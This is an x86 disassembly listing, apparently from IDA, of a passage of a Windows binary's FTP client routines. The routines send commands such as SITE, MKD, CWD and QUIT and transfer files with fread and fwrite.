--------------------------------------------------------------------------- loc_42E0D9: ; CODE XREF: ___:0042E0D0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E130: ; CODE XREF: ___:004016C2j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E151 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: ___:0042E14Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42E16C loc_42E15F: ; CODE XREF: ___:0042E16Aj mov al, [ecx] cmp al, 20h jz short loc_42E16C mov [esi], al inc esi inc ecx dec edx jnz short loc_42E15F loc_42E16C: ; CODE XREF: ___:0042E15Dj ; ___:0042E163j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E1A0: ; CODE XREF: ___:0040224Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E1C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E1C9: ; CODE XREF: ___:0042E1C0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E220: ; CODE XREF: ___:0040225Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E249 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E249: ; CODE XREF: ___:0042E240j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: ___:00401780j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42D1A0 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2D0: ; CODE XREF: ___:004021FDj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E2F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E2F9: ; CODE XREF: ___:0042E2F0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E350: ; CODE XREF: ___:0040166Dj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_4456AC call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E371 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E371: ; CODE XREF: ___:0042E36Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42E387 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E387: ; CODE XREF: ___:0042E382j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42E3A5 loc_42E393: ; CODE XREF: ___:0042E3A3j mov cl, [eax] test cl, cl jz short loc_42E3A5 cmp cl, 22h jz short loc_42E3A5 mov [esi], cl inc esi inc eax dec edx jnz short loc_42E393 loc_42E3A5: ; CODE XREF: ___:0042E391j ; ___:0042E397j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E3D0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E400 proc near ; CODE XREF: ___:0042E3E3p ; ___:0042E663p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42E48A mov esi, [esp+14h+arg_C] mov cx, word_4456EC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42E43A mov byte ptr [esp+14h+arg_10], 72h loc_42E43A: ; CODE XREF: sub_42E400+33j cmp edi, 49h jnz short loc_42E444 mov byte ptr [esp+14h+arg_10+1], 62h loc_42E444: ; CODE XREF: sub_42E400+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42E4A4 push 100h call near ptr 77C1F2BCh nop mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx call near ptr 77C47A90h nop add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E48A: ; CODE XREF: sub_42E400+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42E49B mov ebx, dword_50FA84 jmp short loc_42E4A4 ; --------------------------------------------------------------------------- loc_42E49B: ; CODE XREF: sub_42E400+91j mov edx, dword_50FA84 lea ebx, [edx+20h] loc_42E4A4: ; CODE XREF: sub_42E400+57j ; sub_42E400+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F55 add esp, 14h test eax, eax jnz short loc_42E4C7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E4C7: ; CODE XREF: sub_42E400+BFj push 2000h call near ptr 77C2C407h nop add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42E53D mov ebp, dword_50FAA4 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42E593 loc_42E4FA: ; CODE XREF: sub_42E400+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_4021F3 add esp, 0Ch cmp eax, esi jl short loc_42E523 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42E4FA jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E523: ; CODE XREF: sub_42E400+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E53D: ; CODE XREF: sub_42E400+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jle short loc_42E593 mov esi, dword_50FA94 loc_42E55A: ; CODE XREF: sub_42E400+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42E581 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jg short loc_42E55A jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E581: ; CODE XREF: sub_42E400+166j push offset aLocalfileWrite ; "localfile write" nop call near ptr 77C36DF2h add esp, 4 mov [esp+14h+var_4], ebp loc_42E593: ; CODE XREF: sub_42E400+F4j ; sub_42E400+121j ... push edi nop call near ptr 77C2C21Bh push ebx call near ptr 77C3EEF6h nop mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42E5B6 push ebx nop call near ptr 77C40AB1h add esp, 4 loc_42E5B6: ; CODE XREF: sub_42E400+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E400 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E650: ; CODE XREF: ___:0040169Fj mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: ___:00401D2Fj sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42E6B7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6B7: ; CODE XREF: ___:0042E6AAj movsx eax, byte ptr [esp+124h] mov edi, dword_50FA60 push eax lea ecx, [esp+1Ch] push offset dword_4454F4 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E6F8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6F8: ; CODE XREF: ___:0042E6EBj push ebx lea eax, [esp+1Ch] push offset dword_4456F8 push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E754 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4456F0 push esi nop call near ptr 77C41B72h add esp, 10h cmp eax, 2 jnz short loc_42E754 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: ___:0042E717j ; ___:0042E738j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E7B0: ; CODE XREF: ___:004013BBj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42E7E0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7E0: ; CODE XREF: ___:0042E7D5j push esi push edx lea eax, [esp+10h] push offset dword_445704 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E81B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E81B: ; CODE XREF: ___:0042E80Bj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E880 proc near ; CODE XREF: sub_4016A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42E400 add esp, 14h retn sub_42E880 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: ___:004016C7j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8E0: ; CODE XREF: ___:00401492j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov esi, dword_50FA60 push edx lea eax, [esp+10h] push offset dword_44571C push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E979 push ebx lea edx, [esp+10h] push offset dword_445710 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42D1A0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E979: ; CODE XREF: ___:0042E901j ; ___:0042E91Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E9C0: ; CODE XREF: ___:00401C67j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E9E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: ___:0042E9E0j push edx lea eax, [esp+4] push offset dword_445728 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA40 proc near ; CODE XREF: sub_401D52j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42EA79 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42D1A0 mov eax, [esi+8] add esp, 0Ch push eax call sub_436F06 ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_50FAC4 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42EA79: ; CODE XREF: sub_42EA40+Aj pop esi retn sub_42EA40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EA90: ; CODE XREF: ___:0040219Ej push edi mov edi, [esp+8] test edi, edi jnz short loc_42EAA0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42EAA0: ; CODE XREF: ___:0042EA97j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42EAB6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42EAB6: ; CODE XREF: ___:0042EAADj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB10: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EB29 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EB29: ; CODE XREF: ___:0042EB20j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42EB85 test eax, eax jz short loc_42EB85 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42EB85: ; CODE XREF: ___:0042EB74j ; ___:0042EB78j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EBB0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EBC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBC9: ; CODE XREF: ___:0042EBC0j mov eax, [esp+0Ch] test eax, eax jz short loc_42EBDD cmp eax, 1 jz short loc_42EBDD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBDD: ; CODE XREF: ___:0042EBCFj ; ___:0042EBD4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC00: ; CODE XREF: ___:0040150Fj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC20: ; CODE XREF: ___:00401825j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC40: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC59 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC59: ; CODE XREF: ___:0042EC50j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC80: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC99 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC99: ; CODE XREF: ___:0042EC90j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: ___:004019A1j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: ___:0040199Cj mov eax, [esp+8] sub eax, 0 jz short loc_42ED12 dec eax jz short loc_42ED02 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42ED02: ; CODE XREF: ___:0042ECFAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_42ED12: ; CODE XREF: ___:0042ECF7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ED30: ; CODE XREF: ___:00401C08j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_42EDCB mov edi, [esp+18h] test edi, edi jz loc_42EDCB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_42EDC2 mov eax, [esp+14h] test eax, eax jz short loc_42ED70 mov eax, [eax] test eax, eax jz short loc_42ED70 mov eax, [eax] jmp short loc_42ED72 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: ___:0042ED64j ; ___:0042ED6Aj xor eax, eax loc_42ED72: ; CODE XREF: ___:0042ED6Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDB8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDAF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: ___:0042EDA7j push edi call sub_401686 add esp, 4 loc_42EDB8: ; CODE XREF: ___:0042ED92j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_42EDC2: ; CODE XREF: ___:0042ED5Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: ___:0042ED39j ; ___:0042ED45j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EE10: ; CODE XREF: ___:004021E9j push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42EE78 mov esi, [ebp+0] test esi, esi jz short loc_42EE78 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE6E lea eax, [esi+14h] push eax call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE5F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE5F: ; CODE XREF: ___:0042EE4Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C76 add esp, 0Ch loc_42EE6E: ; CODE XREF: ___:0042EE3Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE78: ; CODE XREF: ___:0042EE1Aj ; ___:0042EE21j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: ___:00401799j mov eax, [esp+4] push esi test eax, eax jz loc_42EF64 mov esi, [eax] test esi, esi jz loc_42EF64 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 27605F1h test eax, eax jnz short loc_42EEF7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42EF44 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_40204A add esp, 8 mov esi, eax jmp short loc_42EF40 ; --------------------------------------------------------------------------- loc_42EEF7: ; CODE XREF: ___:0042EED8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42EF1B lea ecx, [esp+14h] push ecx push ebx call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_42EF1D loc_42EF1B: ; CODE XREF: ___:0042EF07j xor ebx, ebx loc_42EF1D: ; CODE XREF: ___:0042EF19j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42EF40 mov eax, [esp+10h] push 0 push eax call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 loc_42EF40: ; CODE XREF: ___:0042EEF5j ; ___:0042EF2Fj test esi, esi jnz short loc_42EF5E loc_42EF44: ; CODE XREF: ___:0042EEE2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_50E3EC ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42EF5E: ; CODE XREF: ___:0042EF42j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42EF64: ; CODE XREF: ___:0042EEB7j ; ___:0042EEC1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFA0: ; CODE XREF: ___:00401F50j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42EFC3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42EFC3: ; CODE XREF: ___:0042EFB2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFF0: ; CODE XREF: ___:00401A73j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42F011 mov eax, [ecx] test eax, eax jz short loc_42F011 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: ___:0042EFF9j ; ___:0042EFFFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F030: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_42F04D mov eax, [eax] test eax, eax jz short loc_42F04D mov ecx, [esp+8] test ecx, ecx jz short loc_42F04D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: ___:0042F036j ; ___:0042F03Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F070: ; CODE XREF: ___:0040162Cj mov eax, [esp+4] test eax, eax jz short loc_42F09A mov ecx, [eax] test ecx, ecx jz short loc_42F09A mov eax, [esp+8] cmp eax, 1 jz short loc_42F08E test eax, eax jnz short loc_42F09A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F08E: ; CODE XREF: ___:0042F085j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F09A: ; CODE XREF: ___:0042F076j ; ___:0042F07Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F0B0 proc near ; CODE XREF: sub_40140Bj push esi push edi call sub_4012E4 sub_42F0B0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 3312B2E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 33138EE8h, 0A4E85302h dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F170: ; CODE XREF: ___:0040223Ej push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 3311F2E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 3312CEE8h, 0E4E85702h dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F230 proc near ; CODE XREF: sub_401CEEj push esi push edi call sub_4012E4 sub_42F230 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 1155E850h, 85900233h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F2B0: ; CODE XREF: ___:00401D25j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401758 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_42F3E9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42F2EB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F2EB: ; 